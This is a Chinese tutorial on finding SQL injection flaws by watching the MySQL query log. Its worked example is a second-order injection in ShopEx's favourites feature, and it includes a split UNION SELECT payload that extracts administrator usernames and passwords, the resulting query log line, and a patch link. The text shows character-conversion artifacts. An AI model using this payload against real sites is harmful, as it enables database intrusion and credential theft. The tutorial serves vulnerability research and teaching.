黑盒審計(jì)之注入漏洞挖掘思路
一、注入漏洞簡介
注入漏洞是web應(yīng)用中最常見的安全漏洞之一,由于一些程序沒有過濾用戶的輸入,攻擊者通過向服務(wù)器提交惡意的SQL查詢語句,應(yīng)用程序接收后錯(cuò)誤的將攻擊者的輸入作為原始SQL查詢語句的一部分執(zhí)行,導(dǎo)致改變了程序原始的SQL查詢邏輯,額外的執(zhí)行了攻擊者構(gòu)造的SQL查詢語句,從而導(dǎo)致注入漏洞的產(chǎn)生。
攻擊者通過SQL注入可以從數(shù)據(jù)庫獲取敏感信息,或者利用數(shù)據(jù)庫的特性執(zhí)行添加用戶,導(dǎo)出文件等一系列惡意操作。常見的建站系統(tǒng)出現(xiàn)SQL注入漏洞風(fēng)險(xiǎn)概率是非常高的,而本文就SQL注入漏洞的挖掘方法和大家分享交流,其他web安全漏洞暫不做探討。
二、漏洞挖掘思路
我們知道在源碼審計(jì)中這樣的SQL注入漏洞很容易被發(fā)現(xiàn),但是對于我們這樣不會(huì)代碼審計(jì)又想要挖漏洞的小菜來說該怎么辦?那就要講究方法了,這里和大家分享下我平時(shí)挖掘漏洞的一些思路。
首先一個(gè)好的測試環(huán)境很重要,這樣我們可以在短時(shí)間內(nèi)準(zhǔn)確的找出注入的位置。在挖注入漏洞之前我們開啟MySQL查詢?nèi)罩竟δ?,因?yàn)橛袥]有注入的發(fā)生,日志里面都可以最直觀的看到。
然后用某個(gè)文本查看軟件看日志文件打開網(wǎng)站程序里面執(zhí)行的SQL(我這里用的是Bare Tail)

接著就是找輸入點(diǎn)了,這個(gè)是重點(diǎn) (這個(gè)過程也要仔細(xì)觀察mysql查詢?nèi)罩?。
有些輸入點(diǎn)信息,程序沒有過濾直接查詢數(shù)據(jù)庫,就造成了注入,
例如,我GET提交:http://localhost/index2.php?id=1a
在監(jiān)控的MYSQL日志中跟隨1a,此處出現(xiàn)id=1a,可以看出該處未作處理,

并且是一個(gè)整型變量,且在單引號外面,
那么我們提交一下URL即可注入,獲取數(shù)據(jù)任意信息。http://localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user

實(shí)際的提交需要根據(jù)數(shù)據(jù)庫中查詢的語句來構(gòu)造。
還有一種情況輸入點(diǎn)的信息保存到數(shù)據(jù)庫中,或者服務(wù)器的session中二次讀取時(shí)未處理也可導(dǎo)致注入,這種二次注入很多都是不受單引號影響,所以相對來說好利用,危害也是非常大,在mysql日志中跟隨輸入點(diǎn)的信息,這時(shí)一定要仔細(xì)調(diào)試,一旦出現(xiàn)該信息,我們可以看出是否可利用,根據(jù)相關(guān)情況構(gòu)造注入語句。
三、Shopex漏洞實(shí)例
以shopex漏洞挖掘?yàn)槔?shopex為部分源碼加密,解密較為繁瑣,涉及文件太多,進(jìn)行代碼審計(jì)需要耗費(fèi)很多時(shí)間,然而利用上面的方法即可輕松找出漏洞。
打開網(wǎng)站,登錄后我們隨便來到一個(gè)產(chǎn)品頁面,點(diǎn)擊收藏該產(chǎn)品的時(shí)候,查看post的信息,其中的75是我們產(chǎn)品的ID,該處也是個(gè)輸入點(diǎn)。

我們將其改為74a在提交一次試試,跟隨SQL日志,可以看到其執(zhí)行的語句為。

可以看到該處是沒有經(jīng)過過濾的,74a已經(jīng)成功寫入數(shù)據(jù)庫了,如果二次取出時(shí)也沒有過濾將造成注入,我們再來到會(huì)員中心頁面,該處會(huì)在正常操作下顯示我們收藏商品。

此時(shí)查看數(shù)據(jù)庫執(zhí)行日志發(fā)現(xiàn)74a已經(jīng)出現(xiàn)了,由此可以判斷該處存在二次注入。
由于這里是組合而成的,我們構(gòu)造好注入語句然后拆分提交,即可繞過首頁的過濾
http://localhost/index.php?member-SQL-ajaxAddFav.html
我們將上面的SQL替換成以下信息,分三次提交:
0)/**/union/** **/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/** **/from sdb_operatorslimit 1%23
來到會(huì)員中心頁面在產(chǎn)品收藏處可以看到管理員信息。

觀察數(shù)據(jù)庫日志可以看到此時(shí)執(zhí)行的SQL語句為
Query SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10
補(bǔ)丁地址:http://bbs.shopex.cn/read.php?tid-308423.html
四、總結(jié)
這個(gè)半黑盒測試的流程是:
開啟查詢?nèi)罩?-----查找輸入點(diǎn)-------跟隨輸入信息--------是否可利用-------構(gòu)造注入語句
此過程中的重點(diǎn)就是找輸入點(diǎn)和跟隨輸入信息。
輸入點(diǎn)是我們實(shí)施注入的入口點(diǎn),我們必須有效控制這些才能實(shí)現(xiàn)注入,這些輸入點(diǎn)可以包含其中一些:
1)表單提交,主要是POST請求,也包括GET請求。
2)URL參數(shù)提交,主要為GET請求參數(shù)。
3)Cookie參數(shù)提交。
4)HTTP請求頭部的一些可修改的值,比如Referer、User_Agent等。
5)一些邊緣的輸入點(diǎn),比如.jpg文件的一些文件信息等。
有些程序采用了一些錯(cuò)誤處理,就算SQL查詢語句出錯(cuò)了也是沒有任何報(bào)錯(cuò)的,這個(gè)時(shí)候我們只能通過監(jiān)視SQL查詢?nèi)罩緛砼袛嗔?,一旦有注入漏洞的產(chǎn)生這里將是最先看到。
熟練運(yùn)用該方法基本可以找到程序中所有的注入漏洞,且不需要太懂代碼,要得只是耐心和細(xì)心